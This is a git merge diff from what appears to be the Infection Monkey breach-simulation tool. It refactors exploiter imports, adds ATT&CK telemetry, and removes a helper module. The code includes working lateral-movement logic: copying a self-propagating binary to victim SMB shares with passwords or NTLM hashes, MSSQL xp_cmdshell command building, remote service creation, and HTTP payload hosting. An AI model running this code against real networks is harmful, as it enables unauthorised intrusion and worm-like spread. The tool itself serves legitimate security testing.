Merge branch 'develop' into 400/zero-trust-mvp
This commit is contained in:
commit
293a6639f2
|
@ -10,6 +10,20 @@ class ScanStatus(Enum):
|
|||
USED = 2
|
||||
|
||||
|
||||
class UsageEnum(Enum):
|
||||
SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
|
||||
ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
|
||||
MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
|
||||
ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
|
||||
MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
|
||||
ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
|
||||
DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
|
||||
SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
|
||||
ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
|
||||
" for monkey process wasn't successful."}
|
||||
DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
|
||||
|
||||
|
||||
# Dict that describes what BITS job was used for
|
||||
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
|
||||
|
||||
|
|
|
@ -125,6 +125,7 @@ class ControlClient(object):
|
|||
@staticmethod
|
||||
def send_telemetry(telem_category, data):
|
||||
if not WormConfiguration.current_server:
|
||||
LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
|
||||
return
|
||||
try:
|
||||
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
|
||||
|
|
|
@ -11,9 +11,11 @@ from ctypes import c_char_p
|
|||
|
||||
import filecmp
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
|
||||
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
if "win32" == sys.platform:
|
||||
from win32process import DETACHED_PROCESS
|
||||
|
@ -156,5 +158,6 @@ class MonkeyDrops(object):
|
|||
else:
|
||||
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
||||
self._config['source_path'])
|
||||
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
|
||||
except AttributeError:
|
||||
LOG.error("Invalid configuration options. Failing")
|
||||
|
|
|
@ -11,7 +11,8 @@ import logging
|
|||
import posixpath
|
||||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
|
|
@ -6,9 +6,10 @@ from time import sleep
|
|||
import pymssql
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter, tools
|
||||
from infection_monkey.exploit.tools import HTTPTools
|
||||
from infection_monkey.exploit.tools import get_monkey_dest_path
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
|
||||
build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
|
||||
|
@ -40,7 +41,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
# Get monkey exe for host and it's path
|
||||
src_path = tools.get_target_monkey(self.host)
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
@ -68,9 +69,9 @@ class MSSQLExploiter(HostExploiter):
|
|||
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||
self.add_executed_cmd(' '.join(commands))
|
||||
# Form monkey's command in a file
|
||||
monkey_args = tools.build_monkey_commandline(self.host,
|
||||
tools.get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
monkey_args = build_monkey_commandline(self.host,
|
||||
get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
|
||||
for part in textwrap.wrap(monkey_args, 40)]
|
||||
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
|
||||
|
|
|
@ -12,9 +12,8 @@ from twisted.internet import reactor
|
|||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools import get_target_monkey
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
|
|
|
@ -19,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
|
|||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.network.smbfinger import SMB_SERVICE
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -266,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
|
||||
|
||||
T1105Telem(ScanStatus.USED,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
monkey_bin_64_src_path).send()
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def trigger_module(self, smb_client, share):
|
||||
|
|
|
@ -6,11 +6,13 @@ from random import choice
|
|||
|
||||
import requests
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.exploit.shellshock_resources import CGI_FILES
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
|
@ -131,6 +133,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
|
||||
run_path = exploit + chmod
|
||||
self.attack_page(url, header, run_path)
|
||||
T1222Telem(ScanStatus.USED, chmod, self.host).send()
|
||||
|
||||
# run the monkey
|
||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||
|
|
|
@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
|
|||
from impacket.smbconnection import SMB_DIALECT
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
@ -129,11 +131,13 @@ class SmbExploiter(HostExploiter):
|
|||
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
|
||||
lpBinaryPathName=cmdline)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(scmr_rpc, service)
|
||||
status = ScanStatus.USED
|
||||
except:
|
||||
status = ScanStatus.SCANNED
|
||||
pass
|
||||
T1035Telem(status, UsageEnum.SMB).send()
|
||||
scmr.hRDeleteService(scmr_rpc, service)
|
||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||
|
||||
|
|
|
@ -7,10 +7,14 @@ import paramiko
|
|||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -162,10 +166,18 @@ class SSHExploiter(HostExploiter):
|
|||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
|
||||
callback=self.log_transfer)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||
|
||||
status = ScanStatus.USED
|
||||
T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
|
||||
ftp.close()
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
T1105Telem(status,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
src_path).send()
|
||||
if status == ScanStatus.SCANNED:
|
||||
return False
|
||||
|
||||
try:
|
||||
|
|
|
@ -1,536 +0,0 @@
|
|||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import os.path
|
||||
import pprint
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import urllib
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port, get_routes
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from threading import Lock
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in DCOMConnection.OID_SET.keys():
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = record.keys()
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError as exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
@staticmethod
|
||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
config = infection_monkey.config.WormConfiguration
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||
" LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host)
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting"
|
||||
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||
host, username, password, lm_hash, ntlm_hash, exc)
|
||||
return None, dialect
|
||||
|
||||
smb.setTimeout(timeout)
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
import sys
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get('type') == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from infection_monkey.config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from infection_monkey.config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
